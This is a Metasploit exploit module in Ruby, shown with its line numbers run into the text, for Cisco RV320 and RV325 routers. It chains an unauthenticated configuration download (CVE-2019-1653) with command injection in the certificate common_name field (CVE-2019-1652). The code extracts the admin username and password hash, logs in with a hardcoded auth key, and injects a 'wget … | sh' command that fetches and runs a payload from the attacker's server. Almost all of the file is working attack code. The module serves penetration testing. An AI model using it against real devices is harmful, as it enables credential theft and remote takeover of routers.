Path: blob/master/modules/exploits/linux/http/cisco_rv32x_rce.rb
19611 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HttpServer::HTML10include Msf::Exploit::CmdStager1112def initialize(info = {})13super(14update_info(15info,16'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",17'Description' => %q{18This exploit module combines an information disclosure (CVE-2019-1653)19and a command injection vulnerability (CVE-2019-1652) together to gain20unauthenticated remote code execution on Cisco RV320 and RV325 small business21routers. Can be exploited via the WAN interface of the router. Either via HTTPS22on port 443 or HTTP on port 8007 on some older firmware versions.23},24'License' => MSF_LICENSE,25'Author' => [26'RedTeam Pentesting GmbH', # Discovery, Metasploit27'Philip Huppert', # Discovery28'Benjamin Grap' # Metasploit29],30'References' => [31[ 'CVE', '2019-1653' ],32[ 'CVE', '2019-1652' ],33[ 'EDB', '46243' ],34[ 'BID', '106728' ],35[ 'BID', '106732' ],36[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ],37[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ]38],39'Platform' => 'linux',40'Targets' => [41[42'LINUX MIPS64',43{44'Platform' => 'linux',45'Arch' => ARCH_MIPS6446}47]48],49'Payload' => {50'BadChars' => ""51},52'CmdStagerFlavor' => [ 'bourne' ],53'Privileged' => true,54'DisclosureDate' => '2018-09-09',55'DefaultTarget' => 0,56'Notes' => {57'Reliability' => UNKNOWN_RELIABILITY,58'Stability' => UNKNOWN_STABILITY,59'SideEffects' => UNKNOWN_SIDE_EFFECTS60}61)62)6364register_options([65Opt::RPORT(8007), # port of Cisco webinterface66OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']),67OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]),68OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up.69])70deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option.71deregister_options('SSLCert') # not required since stager only uses HTTP.72end7374def execute_command(cmd, opts = {})75# use generated payload, we don't have to do anything here76end7778def autofilter79true80end8182def on_request_uri(cli, req)83print_status("#{peer} - Payload request received: #{req.uri}")84@cmdstager = generate_cmdstager().join(';')85send_response(cli, "#{@cmdstager}")86end8788def primer89payload_url = get_uri90print_status("Downloading configuration from #{peer}")91if (datastore['USE_SSL'])92print_status("Using SSL connection to router.")93end94res = send_request_cgi({95'uri' => normalize_uri("cgi-bin", "config.exp"),96'SSL' => datastore['USE_SSL']97})98unless res99vprint_error('Connection failed.')100return nil101end102103unless res.code == 200104vprint_error('Could not download config. Aborting.')105return nil106end107108print_status("Successfully downloaded config")109username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]110pass = res.body.match(/^PASSWD=(\h+)/)[1]111authkey = "1964300002"112print_status("Got MD5-Hash: #{pass}")113print_status("Loging in as user #{username} using password hash.")114print_status("Using default auth_key #{authkey}")115res2 = send_request_cgi({116'uri' => normalize_uri("cgi-bin", "userLogin.cgi"),117'SSL' => datastore['USE_SSL'],118'method' => 'POST',119'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch¤t_password=&new_password=&re_new_password="120})121122unless res123vprint_error('Connection failed during login. Aborting.')124return nil125end126127unless res.code == 200128vprint_error('Login failed with downloaded credentials. Aborting.')129return nil130end131132# Extract authentication cookies133cookies = res2.get_cookies()134print_status("Successfully logged in as user #{username}.")135print_status("Got cookies: #{cookies}")136print_status("Sending payload. Staging via #{payload_url}.")137# Build staging command138command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")139if (command_string.length <= 63)140print_status("Staging command length looks good. Sending exploit!")141else142vprint_error("Warning: Staging command length probably too long. Trying anyway...")143end144145res3 = send_request_cgi({146'uri' => normalize_uri("certificate_handle2.htm"),147'SSL' => datastore['USE_SSL'],148'method' => 'POST',149'cookie' => cookies,150'vars_get' => {151'type' => '4',152},153'vars_post' => {154'page' => 'self_generator.htm',155'totalRules' => '1',156'OpenVPNRules' => '30',157'submitStatus' => '1',158'log_ch' => '1',159'type' => '4',160'Country' => 'A',161'state' => 'A',162'locality' => 'A',163'organization' => 'A',164'organization_unit' => 'A',165'email' => '[email protected]',166'KeySize' => '512',167'KeyLength' => '1024',168'valid_days' => '30',169'SelectSubject_c' => '1',170'SelectSubject_s' => '1'171},172'data' => "common_name=#{command_string}"173})174unless res3175vprint_error('Connection failed while sending command. Aborting.')176return nil177end178179unless res3.code == 200180vprint_error('Sending command not successful.')181return nil182end183print_status("Sending payload timed out. Waiting for stager to connect...")184end185186def check187# Check if device is vulnerable by downloading the config188res = send_request_cgi({ 'uri' => normalize_uri("cgi-bin", "config.exp") })189190unless res191vprint_error('Connection failed.')192return CheckCode::Unknown193end194195unless res.code == 200196return CheckCode::Safe197end198199unless res.body =~ /PASSWD/200return CheckCode::Detected201end202203CheckCode::Vulnerable204end205206def exploit207# Main function.208# Setting delay for the Stager.209Timeout.timeout(datastore['HTTPDELAY']) { super }210rescue Timeout::Error211print_status("Waiting for stager connection timed out. Try increasing the delay.")212end213end214215216